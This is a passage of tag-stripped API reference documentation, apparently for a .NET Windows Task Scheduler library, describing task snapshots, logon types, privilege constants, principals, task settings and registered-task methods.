the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See details in the remarks for . + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has the Version1 flag set. + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for functionality that was + not forward-compatible. + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version2 flag set. + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive property set to true. + TaskDefinition.Settings.Volatile can be set to true. + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, see Enabled Property of + TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task Scheduler service does + not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration triggers, the task will + not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger is updated, the task + will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant cannot be combined with + the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is used, no password is + stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. The password must be + specified when a task is registered. This flag is not recommended for new tasks because it is less reliable than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this privilege. User Right: + Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege identifies its holder as a + security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be set only to those + values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless of the access + control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. This privilege is required by the + RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, + FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, regardless of the ACL + specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, this privilege enables you to set any + valid user or group security identifier (SID) as the owner of a file. This privilege is required by the RegLoadKey function. The following access + rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, + FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: Modify firmware + environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all traversal access checks. It + is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read all objects and + properties in the directory, regardless of the protection on the objects and properties. By default, it is assigned to the Administrator and + LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not supported. Note that this + value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is enabled by default for + administrators, services, and the local system account. User Right: Create global objects. Windows XP/2000: This privilege is not supported. Note + that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of process SID in the + IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default discretionary access control list + (DACL) will be modified to allow only the task SID and local system full control and the account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify the type of state + change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by switching users on + the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop Connection program + from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the Remote Desktop Connection + program from a remote computer. + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, see Task Idle Conditions. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value is one minute. If this + value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no value is specified for + this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time allowed is 1 minute. If + this value is TimeSpan.Zero, then the delay will be set to the default of 1 hour. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, if the task failed to + complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than + the value of the property. If the deadline is not specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive mode. The exclusivity is + guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If exclusivity is not specified, the task is + started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials that are used to + register the task, and the properties that describe the task. + + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the current task. If + changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if there were no future + run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all versions will return + DateTime.MinValue if there are no future run times. While this is different from the native 2.0 library, it was deemed more appropriate to + have consistency between the two libraries and with other .NET libraries. + + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + + Gets a value indicating whether this task is read only. Only available if + is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, + follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the most recent registration + event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling + from the currently registered folder using the currently registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. Run()). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value specified in this + parameter is ignored.If the value is passed into the flags parameter and the sessionID value is less than or + equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID value is a valid session + ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service will try to start the task interactively as + the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID value is a valid session + ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service will try to start the task interactively as the + user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. RunEx(0, 0, "MyUserName")). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current task. + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to execute and read a task, + then the user can stop the task. A user can stop the task instances that are running under the same credentials as the user account. In all other + cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the Task Scheduler. + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by third-parties who wish to + extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data stream directly. + Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can have values under V2. An example of + this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access to the task using the + native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the author of the task, and + the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + if set to true throws an with details about unsupported properties in the Data property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + if set to true throw a with details about invalid properties. + true if current is valid; false if not. + + + Gets the lowest supported version. + The output list. + + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are associated with the principal. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting this property to + something other than a null or empty string, will set the property to NULL and will set the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property to something other + than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security context for the + tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + The property is set and the is read-only. + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This + method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a description of the task, the + author of the task, the date the task is registered, and the security descriptor of the task. + + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in Windows 8, many of the + native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is specified for this + property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value of 1 second indicates + the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a trigger is specified by the + EndBoundary property of all trigger types. + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote Applications Integrated + Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not be terminated if it + exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property + must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property + must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + Gets or sets an XML-formatted definition of the task settings. + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable property of + ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run only if the specified network + profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + + Contains all the tasks that are registered. + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. This has been removed so that it is consistent with V2. + + + + Releases all resources used by this class. + + + + + Gets the collection enumerator for the register task collection. + + An for this collection. + + + + Internal constructor + + TaskService instance + The filter. + + + + Retrieves the current task. See for more information. + + + + + Releases all resources used by this class. + + + + + Moves to the next task. See MoveNext for more information. + + true if next task found, false if no more tasks. + + + + Reset task enumeration. See Reset for more information. + + + + + Gets the number of registered tasks in the collection. + + + + + Gets or sets the regular expression filter for task names. + + The regular expression filter. + + + + 